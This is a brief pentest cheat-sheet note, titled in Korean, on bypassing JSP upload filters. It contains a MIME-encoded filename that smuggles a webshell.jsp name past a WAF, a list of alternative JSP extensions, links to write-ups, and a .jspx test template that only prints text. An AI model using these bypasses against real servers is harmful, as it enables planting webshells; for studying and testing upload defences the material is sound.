JSP 업로드 우회

Spring commons-fileupload.jar WAF filtering Bypass

=?UTF8?B?c29tZV93ZWJzaGVsbC5qc3A=?=.jpg

https://ar9ang3.tistory.com/m/56?category=754757

https://enki.co.kr/blog/2020/02/27/cce_writeup.html?fbclid=IwAR0ztC_wshd_DHvIA-HBMh_F99TdqkPiqyGyBu_WfP6Id-2TPTPPp_uPkZY

 

 

- .jsv, .jsw(IBM server)

 

.jspx

<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" xmlns="http://www.w3.org/1999/xhtml"
 xmlns:c="http://java.sun.com/jsp/jstl/core" version="2.0">
<jsp:directive.page contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"/>
<jsp:directive.page import="java.util.*"/>
<jsp:directive.page import="java.io.*"/>
<jsp:scriptlet><![CDATA[
<%
	out.println('TEST!!');
%>]]>
</jsp:scriptlet>
</jsp:root>